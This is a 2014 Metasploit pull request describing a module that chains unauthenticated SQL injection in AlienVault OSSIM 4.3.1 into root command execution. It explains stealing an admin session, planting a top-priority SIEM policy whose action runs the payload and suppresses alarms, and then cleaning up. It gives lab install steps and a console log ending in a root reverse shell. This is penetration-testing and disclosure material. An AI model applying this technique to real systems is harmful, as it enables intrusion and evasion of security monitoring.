rapid7/metasploit-framework — pull request #3306 by xistence (2014-04-28 04:01:22+00:00)
Title: AlienVault OSSIM 4.3.1 unauthenticated SQLi RCE

AlienVault OSSIM 4.3.1 and lower SQLi + RCE

This module exploits an unauthenticated SQLi as described on http://www.exploit-db.com/exploits/33006/
However, I use a different approach to gain remote root privileges! The module will retrieve the admin session from the database if this exists.
As this is a SIEM product, it's possible to create policies and actions which will be triggered on an attack event.
The module will create a policy with any source/destination ip/port with the highest priority, thereby overruling all other policies.
Even a simple request to the webserver for a non-existing page will trigger this policy. The policy will run the 'action' which is an
action that will execute a system command. Our payload is inserted in that system command and executed with root privileges.
As our policy overrules all the other policies, no alarms should be triggered from the SIEM :)
After the exploit is executed, our own policy and action will be removed, so everything will be back in the same state as before exploitation.

How to replicate:

Download the ISO from http://0x90.nl/AlienVault_OSSIM_64Bits_4.3.iso

Because the installer in GUI mode mostly hangs at the IP configuration settings, it's better to install in text mode.

- Boot from the ISO on a virtual platform (tested on ESXi and VMWare Fusion)
- At the installer menu highlight USM 4.3 (the top one)
- Hit the TAB button
- Edit the kernel boot line so it shows as (all one line) to make it boot in text mode installer:

/install.amd/vmlinux preseed/file=/cdrom/preseed debian/priority=low preseed/interactive=true vga=normal initrd=/install.amd/initrd.gz quiet ALLinONEauto --

During the installation, keep everything default (except the IP of course)

Note, "cdsetup" on the end of the installation might take a while before it's finished, it's not hanging! :)

Login as an admin via the webinterface.

Run the exploit module.

msf > use exploit/unix/webapp/alienvault_sqli_exec
msf exploit(alienvault_sqli_exec) > set RHOST 172.16.117.133
RHOST => 172.16.117.133
msf exploit(alienvault_sqli_exec) > exploit

[*] Started reverse handler on 172.16.117.1:4444
[*] 172.16.117.133:443 - Trying to grab admin session through SQLi
[*] 172.16.117.133:443 - Admin session cookie is [ PHPSESSID=os49uik29dtllpcn4dklimoqe3 ]
[*] 172.16.117.133:443 - Created Action [ jMgEhYRAvrBk ]
[*] 172.16.117.133:443 - Action ID is [ 86DF7F9E638F5272F44C9FCBB3C82B43 ]
[*] 172.16.117.133:443 - Policy data [ ctx=534747A7CE7F11E393B5000C296D5BC2 ] and [ group=00000000000000000000000000000000 ] retrieved!
[*] 172.16.117.133:443 - Created Policy [ NKnHwSEUSaQ ]
[*] 172.16.117.133:443 - Policy ID [ 207891E2F748B49CAE1AAFF7722A3412 ] retrieved!
[*] 172.16.117.133:443 - Reloading Policies
[*] 172.16.117.133:443 - Policies reloaded!
[*] 172.16.117.133:443 - Triggering policy and action by requesting a non existing url
[*] 172.16.117.133:443 - Payload delivered
[*] Command shell session 1 opened (172.16.117.1:4444 -> 172.16.117.133:41986) at 2014-04-28 10:53:14 +0700
[*] 172.16.117.133:443 - Cleaning up
[*] 172.16.117.133:443 - Token [ 5f380d3703d717c11887c62287a03f4f7c822325 ] retrieved
[*] 172.16.117.133:443 - Policy ID [ 207891E2F748B49CAE1AAFF7722A3412 ] removed
[*] 172.16.117.133:443 - Action ID [ 86DF7F9E638F5272F44C9FCBB3C82B43 ] removed

id
uid=0(root) gid=0(root) groups=0(root)